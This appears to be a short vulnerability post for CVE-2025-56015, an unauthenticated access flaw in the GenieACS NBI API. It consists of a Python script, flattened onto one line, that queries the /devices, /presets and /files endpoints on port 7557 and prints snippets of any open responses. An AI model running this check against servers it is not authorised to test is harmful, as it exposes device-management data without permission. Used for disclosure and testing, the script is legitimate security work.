CVE-2025-56015 GenieACS NBI API未授权访问漏洞

import requests # Exploit Title: GenieACS 1.2.13 NBI API Unauthenticated Access # Description: Checks if the NBI API is accessible without authentication. target_url = "http://target-ip:7557" # Default NBI port check_paths = ["/devices", "/presets", "/files"] def check_vulnerability(): print(f"[*] Checking target: {target_url}") for path in check_paths: url = f"{target_url}{path}" try: response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] Potential Vulnerability found at: {url}") print(f"[+] Response snippet: {response.text[:100]}") else: print(f"[-] Status {response.status_code} for {url}") except requests.ConnectionError: print(f"[!] Could not connect to {target_url}") break except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": check_vulnerability()